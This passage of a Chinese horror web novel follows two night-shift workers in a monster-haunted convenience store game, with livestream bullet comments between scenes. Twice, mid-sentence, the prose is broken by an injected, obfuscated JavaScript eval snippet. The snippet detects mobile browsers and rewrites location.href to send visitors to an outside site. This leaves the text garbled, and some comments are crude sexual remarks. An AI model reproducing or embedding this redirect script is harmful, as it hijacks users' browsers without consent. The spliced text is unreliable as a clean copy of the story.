庄静娴急出了冷汗,想不到破解的办法,又不敢贸然出声,她焦急地看着谢秋慈,却发现谢秋慈的目光,再次落向了男孩怀里的玩偶熊。 这一次,谢秋慈看得很仔细,从熊脖子那圈粗糙的缝合线,到身上深色的污渍,到掉了一只眼睛的黑洞,再到那只完好但反着湿润光泽的塑料眼睛。 然后,谢秋慈做了一个让庄静娴完全没想到的动作。 他保持着蹲姿,往前稍稍倾身,将视线与那只玩偶熊完好的塑料眼睛对齐,对着那只玩偶熊,说话了。 他声音很轻,很温和,像在哄一个真正的小孩:“好啊,我带你去。” 男孩的动作顿住了,覆盖着脸的织物停止了蠕动。 谢秋慈目光依旧看着玩偶熊:“你把她抱得很紧,你在给她挡雨,你是个好孩子。” 他顿了顿,终于将视线从玩偶熊移回到男孩“脸”上那道裂缝,一字一句,清晰而缓慢地说:“你妈妈,一直在你怀里啊。” 8. 微笑便利店8 话音落下的瞬间,便利店里死一般的寂静。 男孩僵在原地,那只伸向谢秋慈的手停在半空,灰黑色的指甲距离谢秋慈的手腕只有不到两厘米。 他“脸”上那道裂缝,缓缓地闭上了,覆盖着脸的棕色织物,开始发生诡异的变化。 那些粗糙的纹理,一点点变得平滑,颜色也从深棕渐渐褪成接近肤色的浅褐,织物下面隐约浮现出了五官的轮廓:眼睛的位置,鼻子的起伏,嘴唇的线条…… 虽然依旧模糊,依旧被一层薄薄的,类似皮肤的东西覆盖着,但至少有了“脸”的雏形。 男孩低下头,看向自己怀里紧紧抱着的玩偶熊。 他用那只灰黑色指甲的小手,极其轻柔,极其珍惜地摸了摸玩偶熊掉了一只眼睛的黑洞洞的眼眶,又摸了摸熊脖子上那圈粗糙的缝合线。 然后,他把那张刚刚浮现出轮廓的,覆盖着薄皮的脸,轻轻贴在了玩偶熊脏污的绒毛上。 一个很轻很轻的,几乎听不见的声音,从贴着玩偶熊的位置传来,闷闷的,带着浓浓的鼻音:“……妈妈不冷了。” 玩偶熊那只完好的塑料眼睛,在红光下轻微地闪烁了一下。 男孩慢慢直起身,抱着玩偶熊一步一步走向门外浓稠的黑暗,这一次,他没有再哭,只是安静地抱着他的“妈妈”,消失在了雾气里。 谢秋慈站起身,关上了门。 玻璃门合拢的瞬间,门外黑暗的蠕动仿佛都停滞了一瞬。 庄静娴呆滞地看着重新关上的门,又看向谢秋慈,张着嘴,大脑一片空白。 刚才发生了什么? 谢秋慈走回收银台,把手里剩下的糖放回糖果架,表情平静得像只是送走了一个普通的迷路小孩。 庄静娴的声音抖得厉害:“你怎么知道……那只熊……” “我做过一段时间的游戏代练,”谢秋慈突然说了一句看似不相关的话,“你是游戏策划,你应该明白,在很多游戏里,一个新手玩家,他能探索的游戏地图是有限的。” 灵光在脑海里猛然炸开,庄静娴立刻明白了谢秋慈的意思,她吞了口唾沫:“对,我们所在的是新手副本,名称是【微笑便利店】,那么所有的任务都应该围绕便利店展开,就算有支线任务,也不会离开这里,至少要完成夜班这个主线任务,才能进下一个地图。” “那接下来的逻辑就很简单了,不能离开这里,但又要帮他找妈妈,那他妈妈会在哪?”谢秋慈轻轻笑了一下。 “所以,我假设,”谢秋慈继续说,语气里却没有假设该有的不确定性,反而带着陈述事实的冷静,“‘在雨里’‘很冷’的描述,并非物理状态,而是某种精神层面的感知,或是死亡状态的隐喻。而怀里那个被他非常珍视,带着修补痕迹的玩偶熊……” 他停顿了一下,目光重新聚焦在庄静娴脸上,浅棕色的瞳孔在红光下映不出多少情绪。 “就是‘妈妈’本身。或者说,是他认知中的‘妈妈’,可能是象征,也可能更直接一些。”他没有具体说明“更直接”是什么,但那种留白反而让庄静娴后背发凉。 庄静娴彻底说不出话了。 她看着谢秋慈平静的侧脸,看着他眼尾那颗在红光下显得格外清晰的泪痣,感觉一股寒意从脚底直冲头顶。 这个人…… 在那种恐怖诡异的场景下,在那么短的时间里,不仅看穿了红雨衣男孩的真相,看穿了小李的诱导陷阱,还精准地找到了规则的漏洞和破局的关键。 他甚至用那种温柔的语气,对一个抱着母亲遗骸的怪物,说出了最残酷的真相。 这已经不是“冷静”能形容的了。 “疯了。”庄静娴无意识地喃喃出声。 谢秋慈听见了,转头看她,眉毛微挑。 “嗯?”他像是没听清。 “没什么。”庄静娴赶紧摇头。 弹幕:【……我他妈说不出话。】 【“你妈妈一直在你怀里”……这句话说出来我鸡皮疙瘩全起来了!】 【小李啥意思啊,全世界都在针对我的萌萌的老婆】 【这脑回路……好绕,我还是不懂】 【小李的脸色更难看了哈哈哈】 【庄静娴在旁边都快吓死了,结果两句话解决?】 【这新人真的是第一次玩?我不信!】 便利店里重新安静下来。 小李还站在收银台边,他脸上的笑容完全消失了,取而代之的是一种冰冷的,近乎怨毒的表情。他盯着谢秋慈,看了好几秒,然后转身,朝员工专用门走去。 走到门口,他停下回头,用那种平板的声音说:“3:33快到了。抓紧时间。” 说完,他推开门走了进去,门“吱呀”一声关上。 庄静娴这才长长松了口气,腿一软,差点坐到地上,她扶住旁边的货架,才发现自己手心里全是冷汗。 “小李他在故意诱导我们。说错规则,诱导去仓库,诱导带男孩找妈妈,他想让我们死。”庄静娴认真说。 “嗯。”谢秋慈毫不在意地点了点头,看了眼时间,“该整理货架了。” 庄静娴赶紧跟上去,她看着谢秋慈开始按照标签颜色重新整理货架,动作很快,但有条不紊。 她也开始帮忙,负责食品区,按保质期排列,快过期的放前面,同时,她也注意着标签颜色,尽量把同色系的放在一起。 两人谁也没说话,只有商品被拿起和放下的声音,在安静的便利店里回荡。 墙上的挂钟,秒针一格一格跳动。 3:25。 3:28。 3:30。 货架整理了大半,但还没完成,还有三排货架没动。 庄静娴的额头开始冒汗,她加快了速度,但手抖得厉害,差点打翻一瓶酱油。 谢秋慈那边更快,他已经整理完了饮料区和日用品区,现在在整理文具区。铅笔、橡皮、笔记本,按标签颜色分好,摆整齐。 3:32。 还剩最后一排货架,小家电区。电热水壶、小风扇、充电宝,乱七八糟地堆在一起。 两人动作飞快。 3:33。 墙上的挂钟,秒针跳到“12”。 “当——” 便利店里的广播突然响起一声沉重的,像是敲钟一样的巨响,那个平板的声音响起:“时间到。货架整理完成度检测中。” 所有货架上方的监控摄像头同时转动,红色光点扫过每一排货架,每一件商品。 三秒。 五秒。 十秒。 广播:“检测完成。货架整理……符合要求。” 广播的声音带着一丝怨毒和浓浓的不满,好像十分不高兴他们居然能够完成任务。 但广播没停,它继续说:“下一项工作:补货。仓库已开放,请前往仓库领取补货商品。” 声音刚落,便利店最里面,那扇“员工专用”的门自动打开了。 门里是一条向下的楼梯,深不见底,黑暗浓稠。 楼梯深处,传来缓慢的,沉重的—— 敲门声。 “咚。” “咚。” “咚。” 每一声都像敲在心脏上。 规则8:本店没有地下仓库。如果听到仓库传来敲门声,不要回应。 但现在广播让他们去仓库。 敲门声在继续。 咚。 咚。 咚。 每一声的间隔都精确得像用秒表掐过,沉闷,厚重,像有什么东西在用头撞门。 庄静娴的呼吸都停住了,她死死盯着那扇敞开的门,盯着门后向下延伸的黑暗楼梯,感觉那黑暗有实质的重量,正从门里漫出来,压得她胸口发疼。 规则8写得清清楚楚:本店没有地下仓库。如果听到仓库传来敲门声,不要回应。 可是现在,广播让他们去仓库补货。 去,还是不去? 去了,就是主动进入“不存在”的地方,回应“不该回应”的敲门声。不去,就是违反广播指令——广播算不算规则的一部分?违反会怎么样? 庄静娴感觉自己的大脑在过载边缘,她机械地转头看向谢秋慈,想从对方脸上找到一点可以参考的情绪。 谢秋慈站在货架旁,侧脸在红光下没什么表情,他也在看那扇门,看得很认真,眼尾那颗泪痣在眼睫垂下时显得格外清晰。 他声音很轻,但在这过分安静的便利店里清晰得可怕:“你听见了吗?” 庄静娴一愣:“什、什么?” “敲门声。”谢秋慈说,他歪了歪头,像是在仔细分辨,“不是用手敲的。” 庄静娴愣了愣:“那是……” “骨头。”谢秋慈很肯定地说,“指关节的骨头,敲在木头上,很硬,没什么肉。” 庄静娴的胃猛地抽搐了一下。她下意识地去听那敲门声,现在被谢秋慈一说,她好像真的听出了区别,那不是手掌拍门的闷响,是更清脆,更坚硬的撞击声。 像指骨。 像骷髅的手指,在敲门。 【我靠我靠我靠!】 【谢秋慈你能不能不要突然说这种话!】 【骨头敲木头?好像真的是,这人什么耳朵啊?而且他为什么能这么平静地说出来?!】 【老婆喜欢骨头吗?我也是骨头哦,抠你的话会比较疼,你忍一下】 【疯批美人实锤了……又疯又美又吓人】 【庄静娴脸都白了】 敲门声还在继续,节奏没变,但每一声都好像更重了一点,像是在催促。 广播又响了,这次带着电流杂音,那个平板的声音变得有些扭曲,带着幸灾乐祸:“请立即前往仓库领取补货商品。重复,请立即前往仓库。” 谢秋慈转身,朝那扇门走去。 “等等,”庄静娴一把抓住他的袖子,声音发颤,“规则8说了不能回应,我们为什么要去?” 谢秋慈停下脚步,回头看她,他的眼睛在红光下显得很亮,瞳孔里映着庄静娴惊恐的脸。 “你听到货架深处的咀嚼声了吗?”他问。 庄静娴点头。从进便利店开始,那个湿漉漉的,黏腻的咀嚼声就一直断断续续地响,听得人心里发毛。 “我们整理货架的时候,”谢秋慈继续说,语速平稳,“把所有货架都整理了一遍,从最里面到最外面。你看到任何东西了吗?” 庄静娴一愣。 没有。 他们整理了所有货架,挪动了所有商品,甚至扶起了被赵强撞倒的货架,那个过程中,他们没有看到任何可疑的东西,没有找到咀嚼声的来源。 “声音是从货架方向传来的,”谢秋慈说,“但货架上没有。那声音从哪来?” 他顿了顿,给出答案:“下面。” 庄静娴的瞳孔收缩。 “这个便利店有地下空间。”谢秋慈看向那扇敞开的门,“规则8说‘本店没有地下仓库’,但规则就是绝对正确的吗?它当然可以误导我们,让我们以为下面什么都没有,从而忽略真正的危险。” 他转向楼梯的方向:“现在广播让我们下去。违反广播指令的后果不确定,但留在这里……” “那个一直在吃东西的东西,可能随时会出来。” 庄静娴的手慢慢松开。她明白了谢秋慈的逻辑,两害相权,选那个信息更明确的。 下去,至少知道要面对什么。 留在上面,那个看不见的,一直在咀嚼的东西,更让人恐惧。 【我懂了,所以声音来自地下,便利店有地下室】 【谢秋慈这脑子……绝了,他的思路真的好清晰】 【之前说他是花瓶的人怎么不吭声了?人家已经活了这么久了哦】 谢秋慈不再多说,抬脚走下楼梯。 庄静娴咬咬牙跟了上去。 楼梯很窄,水泥台阶边缘破损,露出里面的钢筋。空气中弥漫着一股复杂的味道,潮湿的霉味、福尔马林的刺鼻气味,还有一种淡淡的,像是熟肉放久了的馊味。 越往下,那味道越浓,敲门声也越来越清晰。 咚。咚。咚。 就在正前方。 谢秋慈在最后一级台阶前停下,这里几乎全黑,只有从楼梯口透下来的微弱红光,他伸手在墙上摸索,摸到了老式的拉线开关。 “咔哒。” 昏黄的白炽灯泡亮起,光线暗淡,但足够看清这个空间。 二十平米左右的仓库,三面墙都是货架,堆满落灰的纸箱,地上盖着防尘布,布下是不规则的凸起。 房间正中央是一扇老旧木门,漆皮剥落,露出发黑的木头,门上没有把手,只有一个锈蚀的门栓,从里面闩着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493641|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 敲门声就是从门后传来的,每敲一下,门板就震颤,灰尘簌簌落下。 谢秋慈的视线快速扫过整个仓库,他的目光在门缝处多停留了几秒,那里有暗红色的液体渗出,顺着门板往下淌,在地上积了一小滩。 血。 庄静娴也看到了,她的脸色更白了。 谢秋慈却已经走向最近的货架,拂去纸箱上的灰。标签上,红色记号笔写着:【补货商品A-7:手指饼干(临期)】 他打开纸箱,里面整齐码着长条形的焦黄色饼干,形状确实像手指。表面有细微的纹路,像指纹,每根饼干顶端点着一小点红色糖霜,像指甲。 庄静娴捂住嘴,防止自己马上吐出来。 在她惊恐的视线中,谢秋慈拿起一根闻了闻。 “黄油味。”谢秋慈说,他掰了一小块,放进嘴里嚼了嚼,“甜的,有点腻。” 庄静娴:!!! 求求了,她真的,真的,真的,从来没有见过这么爱作死的人!!!那是能够随便吃的东西吗?! 弹幕的反应和她差不多: 【那是手指啊,他居然吃了,还评价口感?】 【这人是真疯啊】 【老婆喜欢吃的话,可以吃我的触手,我的触手上面有吸盘,绝对能让你吸个爽(羞涩)】 【先吃我的】 谢秋慈把饼干放回去,继续看旁边的箱子。 【补货商品B-3:眼球果冻(草莓味)】 【补货商品C-9:大脑面包(全麦)】 【补货商品D-2:肠子软糖(酸甜口)】 一箱又一箱,全是人体部位造型的食品。 而门后的敲门声还在继续,不急不缓。 谢秋慈看完所有货架,转身看向那扇木门,他走到门前一米左右的位置停下,没有更近。 门板随着敲门声一下下震颤,门缝里渗出的血越来越多,那滩血在扩大。 谢秋慈看够了,声音平静:“你要什么?” 敲门声停了。 仓库陷入死寂,只有灯泡轻微的电流声。 门后传来一个声音,嘶哑,模糊,像隔着厚重的东西:“出去……” “你要出去?”谢秋慈问。 “出去……”那声音重复,然后开始用头撞门,这次能听清了,是头骨撞木头的沉闷声响。 谢秋慈没有任何情绪:“谁把你关在这儿的?” “店长……”声音里带着哭腔,是个年轻男人的声音,“放我出去……求求你……” 庄静娴的心揪紧了,但谢秋慈的表情没什么变化:“你在这里多久了?” “不知道……很久很久……” “你想让我们怎么帮你?” “开门,开门我就能出去了……” 谢秋慈似笑非笑:“规则说,不能回应敲门声,我要是给你开门,就是回应了。” 庄静娴咽了口唾沫,心想现在难道就不算回应吗?谢秋慈有一刻停止作死吗? 门后的声音停了一下,然后变得急促:“不是回应,是救我,救我出去……求求你……” 声音凄惨,带着绝望的哭腔。 谢秋慈却转身,走回货架旁,开始搬纸箱,他搬起那箱“手指饼干”,对庄静娴说:“帮忙搬。一人两箱,够补货了。” 庄静娴愣住:“可是门后……” “先搬东西。”谢秋慈打断她,“广播让我们来补货,没让我们救人。” 他说着,又搬起一箱“眼球果冻”,朝楼梯走去。 庄静娴看着他的背影,又看看那扇门,门后的哭声更大了,从呜咽变成嚎啕,撞门声也更重了。 她一咬牙,选择相信谢秋慈,也搬起两箱,跟上对方的脚步。 两人走上楼梯,身后的仓库里,哭声和撞门声越来越响:“别走,别走啊……救救我……” “我好痛……好痛啊……” “开门……开门啊……” 庄静娴不敢回头,她能感觉到有视线粘在背上,冰冷怨毒,她冲上楼梯,冲回便利店。 谢秋慈踏上最后一级台阶时,回头看了一眼仓库,昏黄灯光下,那扇木门还在震颤,门缝里渗出的血已经流了一地。 他收回视线,走进便利店,身后的员工门“吱呀”一声自动关上,关门声很重,隔绝了仓库里的所有声音。 便利店重新安静,庄静娴放下箱子,坐倒在地,大口喘气,她的后背全湿了。 庄静娴声音发干:“你为什么不帮他?” 谢秋慈微微挑眉,眼神平静:“你有没有想过,他在吃什么?” 庄静娴愣了一下。 货架上的“手指饼干”“眼球果冻”“大脑面包”……那些人体部位造型的食品,是补货商品,是放在那扇门外的,他连门都打不开,怎么拿的到? 庄静娴的脸彻底失去了血色。 她猛地想起那些玻璃罐,想起赵强被塞进罐子的样子,想起标签上“新鲜店员”的字样。 “他想出来,”谢秋慈继续说,“但他自己做不到,需要外人开门。小李一直诱导我们,说错整理规则,让我们去仓库,那个东西装可怜,流血泪,都是为了让我们开门。” 一个饿了很久的东西,被放出来之后会做什么?答案已经很明显了。 【我靠,细思极恐】 【他吃……他不会把自己身上的肉吃了吧?都吃光了,所以只能用指骨头骨撞门,发出那种声音……】 【谢秋慈和庄静娴就是活生生的食物啊】 谢秋慈不再说话,开始补货。 庄静娴看着他平静的侧脸,突然意识到从进便利店开始,谢秋慈就在观察一切。 他下仓库,不是为了补货,是为了验证猜测,而他成功了。 庄静娴也强迫自己冷静下来,她站起来,开始和谢秋慈一起,把那些“补货商品”摆上货架。 手指饼干放在食品区,眼球果冻放进冷藏柜,大脑面包摆在面包架,肠子软糖放在糖果区。 她摆得很认真,虽然手还在抖,但动作没有停,因为她知道,这是规则。 而在这个地方,遵守规则,才有活路。 墙上的挂钟显示现在是凌晨3点55分,距离早上6点下班,还有2小时5分钟。 而深处,咀嚼声不知何时又响起来了,湿漉漉的,黏腻的。 9. 微笑便利店9 谢秋慈摆完最后一包“肠子软糖”,手指在货架边缘停顿了一下。 那些软糖被做成了肠子的形状,粉红色,表面有模拟肠壁的褶皱,甚至还有几处不自然的,像是溃烂的深色斑点。 谢秋慈没什么表情地移开视线,摆货的时间太久,他直了直腰,流畅而纤细的腰线隔着薄薄的便利店制服,甚至能够看到隐隐约约的腹肌轮廓。 弹幕的色鬼们又开始了新一轮的虎狼之词:【好细的腰,用力顶的话可能会凸出来吧】 【楼上的别想了,你没那么长,让我来】 【说真的,等打赏功能开了,如果给他刷一万积分,可以让他把衣服撩起来给我们看吗】 【大胆一点,三万积分让他脱裤子给我们吃】 【我不行了,你们就仗着谢秋慈没时间看弹幕,在这里疯狂意//淫吧】 【骗你的,就算老婆宝宝看到了我也敢说嘻嘻】 【这张脸真的找不到替代品,还有这带劲的性格,我真的太喜欢了】 手机被随意扔在收银台上,谢秋慈没看到弹幕,侧脸的线条在红光下显得很柔和,眼睫垂下,在苍白的皮肤上投出浅浅的阴影,那颗泪痣安静地缀在眼角,像一滴凝固的,永远不会落下的眼泪。 庄静娴看着他,心里那点恐惧奇异地淡了一些。这个年轻人身上有种奇怪的力量,好像天塌下来,他也会先评价一句“这云砸得不均匀”。 她刚在收银台边的高脚凳上坐下,就听见谢秋慈开口:“他在等。” 庄静娴一愣:“谁?” “小李。”谢秋慈的瞳仁在红光下泛着很浅的琥珀色,“等我们动摇,等我们愧疚,等我们忍不住想‘万一仓库里真的是个可怜的受害者呢’。” 他坐直身体,手指在收银台面上轻轻敲了敲,节奏随意。 “人心就是这样。”他说,语气平淡得像在讨论天气,“恐惧之后是同情,同情之后是冲动,冲动之后是死。” 庄静娴抿了抿嘴唇:“那你……动摇过吗?” 谢秋慈转头看她,很认真地想了几秒,然后摇头:“没有。” “为什么?”庄静娴忍不住问。 “因为没必要。”谢秋慈微微弯唇,“真的受害者,不会用那么标准的节奏哭,那是表演,演给心软的人看的。” 他顿了顿,补充:“而且,他吃得挺开心的。” 庄静娴的胃又抽搐了一下,她木着脸,觉得自己应该会有很长一段时间,都不会再碰和肉相关的食物了。 “那我们,”她声音发干,“就这样等到6点?” “看情况。”谢秋慈说,视线转向便利店深处,“如果他不来打扰,我们就等。如果来了……” 他没说完,但庄静娴懂了。 【其实我也觉得那个东西哭的挺假的,表演成分太重了】 【但是在那种情况下,很少有人能够冷静思考吧,我见过不少被骗的玩家了,啧啧啧】 【我赌一条腿,小李马上要出来作妖】 像是回应弹幕的期待,员工专用门“吱呀”一声,又开了。 小李走出来,他的脸色比之前更差了,青白里透着一层灰败,像是死了很久的人,眼睛里的血丝密密麻麻,几乎把眼白都染红了,脖子上的缝合线蠕动着,像有什么东西在皮肤下面钻。 他走到收银台前,没看庄静娴,只死死盯着谢秋慈,盯了很久,才开口,声音哑得像砂纸磨过:“你们摆完货了?” 谢秋慈点头。 “你们有没有看到什么东西?”小李的声音微微提高,带着恶意的期待。 谢秋慈继续点头。 小李的喉结滚动了一下,视线在谢秋慈和庄静娴之间来回切换,却没有发现他们受伤,皱眉问:“他怎么样?” “听起来不错。”谢秋慈语气如常,“胃口挺好。” 小李的脸部肌肉抽搐了一下,他往前倾身,双手撑在收银台上,那双血红的眼睛死死盯着谢秋慈:“你就一点同情心都没有吗?他被关在下面,三年,三年!每天都在吃那些……那些东西,你知不知道他变成什么样了?!” 他脖子上的缝合线因为激动而绷紧,渗出暗红色的血珠。 谢秋慈平静地看着他,等他说完,才问:“那你呢?” 小李没想到谢秋慈的反应会这么平静,他愣住:“什么?” “你这三年,每天晚上听着他吃那些东西,”谢秋慈慢慢说,“听着他咀嚼,听着他吞咽,听着他满足地叹气。你是什么感觉?” 小李的表情凝固了。 那张青白的脸先是茫然,然后是痛苦,最后扭曲成一种近乎狰狞的怨恨,他张了张嘴,想说什么,但没发出声音。 谢秋慈看着他,微微笑起来,替他回答了:“你觉得恶心,但又没办法,只能听他用那种湿漉漉的声音吃东西,然后回到店里,装作没事一样上夜班。” 他顿了顿,语气里多了一丝很淡的,近乎怜悯的东西:“其实你也受不了了,对吧?所以你想让他出来,不是救他,是解脱你自己。” 小李的嘴唇在发抖,他看着谢秋慈,那双血红的眼睛里有什么东西在碎裂,然后重组。 “你懂什么……”他低声说,声音嘶哑,“你什么都不懂……” “我是不懂。”谢秋慈承认,“但我知道一件事,你把我们当食物喂给他,这就不太礼貌了。” 话音落下的瞬间,小李突然发难,猛地抬手,朝谢秋慈的脖子抓来! 他的手指指甲暴涨,变成了奇怪的黑色,尖锐得像刀尖,动作快得带出残影。 但谢秋慈的动作更快。 他没躲,反而迎了上去,左手抬起,精准地扣住了小李的手腕。右手从收银台上抓起什么东西——是之前裂口女给的那枚黏着皮肤碎屑的硬币。 他把硬币狠狠按在小李的手腕上。 “嗤——” 像是烧红的铁烙在皮肤上,一股焦糊味瞬间弥漫开来,小李发出一声凄厉的尖叫,猛地抽回手。 他的手腕上,硬币按过的地方,留下了一个焦黑的圆形的烙印,边缘的皮肉翻卷,但没有流血,只有黑色的,像沥青一样粘稠的东西从伤口里渗出来。 小李连退好几步,撞在身后的货架上,他抱着手腕,那双血红的眼睛死死瞪着谢秋慈,眼神里充满了不可置信和怨毒:“你……你怎么……” “规则5。”谢秋慈松开手,嘴角的笑意依旧,“只收现金,找零必须是硬币, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493642|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂口女给的硬币,应该有点特殊效果。” 他拿起那枚硬币,在指尖转了转,硬币表面那些皮肤碎屑已经消失了,但整个硬币变成了暗红色,像在血里泡过。 “谢谢你的验证。”他对着小李说,语气真诚,“下次再有顾客给硬币,我会好好收着的。” 小李全身都在发抖,不知道是气的还是痛的,他死死瞪着谢秋慈,又看看那枚硬币,没有再攻击,或许是知道自己打不过谢秋慈,猛地转身冲回员工专用门,“砰”地一声把门摔上。 便利店里重新安静下来。 庄静娴扶着收银台,腿软得站不住,慢慢滑坐到地上,大口喘着气。 谢秋慈低头看了几秒,然后从收银台后走出来,蹲在她面前,他没说话,只是从口袋里掏出什么东西,递给她。 是一颗糖。 水果糖,橘子味的,包装纸是亮黄色的。 庄静娴愣愣地看着那颗糖,又抬头看谢秋慈。 谢秋慈的表情很平静,甚至可以说温和,庄静娴接过糖,攥在手心里,糖纸窸窣作响:“……谢谢。” “不用谢。”谢秋慈站起身,走回收银台后。 甜味在舌尖化开,带着橘子的清香,很普通的味道,但在这鬼地方,普通得让人想哭。 【我靠我靠我靠!吓死我了,这种突脸攻击他居然都能反应过来!】 【用裂口女给的硬币,他怎么想到的??】 【这么一看,谢秋慈其实挺细心又善良,最开始给了庄静娴矿泉水,现在又给了糖,只是表面上冷漠】 【但是在这个游戏里,善良可不是什么好品质哟,随时都有可能把自己害死】 谢秋慈坐回收银椅,庄静娴也爬起来,坐到高脚凳上,嘴里含着糖,努力让自己冷静。 时间一分一秒过去。 空中传来很轻的,哼唱的歌声,调子古怪,不成曲,但能听出是童谣的旋律,声音很稚嫩,像小孩在哼歌。 但歌词含糊不清,只能隐约听到几个词:“妈妈……手指……眼睛……好吃……弟弟……等着……出来……” 歌声断断续续,从大门外飘进来,在便利店里回荡。 庄静娴的血液都要凝固了。 而歌声还在继续:“天亮之前吃饱饱……天亮之后睡好好……” “店长的客人……都来了……” “一个都……跑不了……” 谢秋慈笑了。 不是刚才那种很轻的笑,是真正的,嘴角扬起的笑,眼睛里甚至有光,像发现了什么极其有趣的东西。 “店长的客人,”他重复着歌词里的词,然后转头看向庄静娴,“你猜,店长有多少客人?” 庄静娴说不出话。 谢秋慈也不需要她回答,他站起身,走到收银台边,看向玻璃门外。 门外,黑暗的蠕动方式又变了,一团一团的黑影在门外汇聚,越来越多,越来越密。每一团黑影都在变形,长出四肢,长出头颅,长出大致的轮廓。 一个,两个,五个,八个,十个…… 密密麻麻的黑色人形,在门外聚集,它们全都“站”在门外,面朝玻璃门,面朝便利店内部。 面朝谢秋慈。 10. 微笑便利店10 最前面的那个黑色人形抬起手,敲了敲玻璃门。 “叩、叩、叩。” 很轻,很礼貌。 但接下来,不是一只在敲。 所有黑色人形同时抬起手,开始敲门。 “叩叩叩叩叩叩叩叩叩——” 密集的重叠的敲门声,像暴雨砸在玻璃上,每一下都像捅在心脏上,空气里的童谣歌声陡然提高:“客人来了!客人来了!” “开门迎客!开门迎客!” “大家都来!大家都来!” 歌声尖利疯狂,带着一种病态的喜悦,在这种令人窒息的巨大压迫下,每一寸空气都像被声音填满了,庄静娴的大脑嗡嗡作响,影响着她的思维,让她几乎不能思考,浑身紧绷,冷汗从额头流到额角。 谢秋慈还站在收银台边,他看着门外密密麻麻的黑色人形,抬起手整理了一下自己的店员制服领子,又把胸前那枚“微笑便利店”的员工胸牌摆正。 然后,他挂上一个标准的假笑,走到玻璃门前,伸手推开了门。 门外十几个黑色人形,同时停下敲门。 它们“看”着他。 谢秋慈微笑着,微微躬身,做了一个“请”的手势,声音平静,温和,像真正的店员在迎客:“欢迎光临。” “本店今日特供:手指饼干,眼球果冻,大脑面包,肠子软糖,心脏巧克力。” “请问各位,想吃什么?” 门外,一片死寂。 空中,童谣歌声戛然而止。 在这一切声音之上,谢秋慈站在门口,红光映着他微笑的脸,眼尾的泪痣在阴影里微微发亮。 他等了几秒,见没有“客人”进来,又补充了一句:“或者……” “各位想等店长亲自来招待?” 这句挑衅一样的话落下,仿佛是那些“客人”被触怒的后果,便利店里所有的灯发出一声“滋啦”—— 全灭了。 绝对的,吞噬一切的黑暗。 在黑暗降临的前一瞬间,庄静娴看见谢秋慈回过头,看向她的方向。 他露出了一个真心实意的笑容,嘴角的弧度在黑暗吞噬一切之前,定格在她视网膜上。 疯狂,美丽,且令人毛骨悚然。 【!!!!!!】 【目前为止第一爱挑衅的玩家,我倒要看看他能嚣张到什么时候】 【谢秋慈最后那个笑好美啊啊啊啊……我终于知道疯批美人的魅力了,明知道他是个疯子,靠近就会被捅死,但依然愿意为他俯首称臣】 【老婆你真的太疯了,死在这里的话,我会很遗憾的】 【难道没人觉得这个邀请很色吗,这么多怪物一起上的话,宝贝的屁股真的吃得消吗】 【?你说的“一起上”这意思对吗?】 【庄静娴还好吗?】 黑暗持续了大概三秒。 灯再次亮起,但不再是和血色一样让人神经紧绷的红光,惨白的光太刺眼,庄静娴下意识闭眼,又强迫自己睁开。 便利店变了。 货架整齐,地面干净,玻璃透亮,没有血,没有黑伞,没有玻璃罐,没有那些“补货商品”。 一切都恢复了正常便利店的样子,就像什么都没发生过。 只有门口的谢秋慈还站在那里,他胸前的店员制服多了一小片暗红色的污渍,像是血,但他本人完好无损。 他看向庄静娴,眨了眨眼,然后说:“天快亮了。” 庄静娴愣住,转头看向玻璃门外。 门外的黑暗消散了。取而代之的,是凌晨时分灰蒙蒙的天光,街对面烧烤摊的招牌还亮着,但已经没人了,远处传来环卫车清扫街道的声音。 而收银台墙壁上的挂钟,指针已然指向5点40分,距离6点下班,还有20分钟。 庄静娴呆呆地看着这一切,大脑一片空白。 【发生了什么?】 弹幕一头雾水,疯狂发问,也问出了庄静娴的心里话。 可惜恐怕除了谢秋慈本人,没有人知道在那黑暗的三秒钟之内发生了什么,也没人知道谢秋慈衣服上的污迹是从哪里来的,那些东西又是怎么消失的。 他依旧站在那里,脸上的微笑慢慢散去,又恢复了面无表情的,带着点冷冷厌世感的样子。 庄静娴有很多疑问,她张了张嘴,但还没问出来,便利店最深处的那扇“员工专用”门,无声地滑开了。 空气中陡然多了一种沉重的无形的压迫感,像是被人突然按进水里,耳鼻喉都产生了呛水的刺痛,大脑在疯狂发出即将死亡的警告: 跑!跑!跑!! 庄静娴跑不了。 她的腿软得几乎支撑不住站立,身体大幅度地颤抖起来,敏锐的直接告诉她,有什么不得了的东西出现了,比之前任何一次怪物都要恐怖,力量甚至压过了刚才门外那些密密麻麻的怪物们的总和。 在极端的恐惧下,她不受控制地,一点一点缓慢转过头。 男人穿着便利店店长的制服,白衬衫熨烫得没有一丝褶皱,外套是深蓝色的店长马甲,左胸口绣着金色的“7-24”字样。 他很高,目测至少一米九,黑色西装裤笔挺,皮鞋锃亮,银白色的长发用一根简单的黑色发带束在脑后,露出完整的脸部轮廓。 他戴着一副金丝边眼镜,镜片后的眼睛是浅灰色的,像蒙着雾的冬天湖泊。 皮肤很白,是那种久不见天日的近乎透明的苍白,但五官俊美得近乎锋利,不会给人任何柔弱的感觉,鼻梁高挺,嘴唇很薄,颜色很淡,抿成一条没什么情绪的直线。 他胸前别着名牌:【店长·微生澈】 